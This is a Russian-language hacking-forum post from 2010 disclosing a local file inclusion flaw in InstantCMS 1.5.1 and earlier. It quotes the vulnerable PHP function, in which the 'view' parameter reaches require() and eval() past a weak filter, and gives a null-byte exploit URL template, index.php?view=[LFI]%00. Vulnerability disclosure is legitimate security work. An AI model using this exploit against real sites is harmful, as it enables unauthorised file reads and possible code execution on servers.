Показать сообщение отдельно

  #34  
Старый 14.05.2010, 21:54
Аватар для The matrix
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
По умолчанию

LFI InstantCMS <===== 1.5.1
Nees: mq=off

index.php
PHP код:
$inCore->proceedBody(); 
/core/cms.php
PHP код:
public function proceedBody(){
        
$inPage         cmsPage::getInstance();
        
$menuid         $this->menuId();
        
$is_component   false;
        
ob_start();
        if (isset(
$_REQUEST['view'])) { $component htmlentities($_REQUEST['view'], ENT_QUOTES); }
        if (isset(
$component)){
            
//CHECK COMPONENT NAME (это типа фильтр ухаха)
            
if (strstr($component' ') ||
                
strstr($component'\'') ||
                
strstr($component'"') ||
                
strstr($component'&') ||
                
strstr($component'#') ||
                
strstr($component'*') ||
                
strstr($component'>') ||
                
strstr($component'<')    )
            { die(
'HACKING ATTEMPT BLOCKED'); }
            
//EXECUTE COMPONENT
            
if(file_exists('components/'.$component.'/frontend.php')){
                echo 
'<div class="component">';
                    require (
'components/'.$component.'/frontend.php');
                    eval(
$component.'();');                    
                echo 
'</div>';
                
$is_component true;
                if (
$menuid != && $inPage->back_button) { echo "<p><a href='javascript:history.go(-1)' class=\"backlink\">&laquo; Назад</a></p>"; }
            } else { echo 
'<p>Компонент не найден!</p>'; }
        }
        
$inPage->page_body ob_get_clean();

        if (
$is_component) { $inPage->page_body cmsCore::callEvent('AFTER_COMPONENT_'.mb_strtoupper($component), $inPage->page_body); }

        return 
true;
    }
.................................. 
exploit
Код:
Index.php?view=[LFI]%00
 
Ответить с цитированием